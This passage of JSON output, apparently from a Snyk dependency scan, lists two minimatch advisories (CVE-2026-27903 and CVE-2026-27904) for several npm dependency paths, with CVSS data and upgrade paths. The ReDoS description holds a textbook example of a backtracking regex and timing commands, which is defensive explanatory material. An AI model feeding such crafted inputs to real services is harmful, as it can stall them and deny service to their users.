"semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| 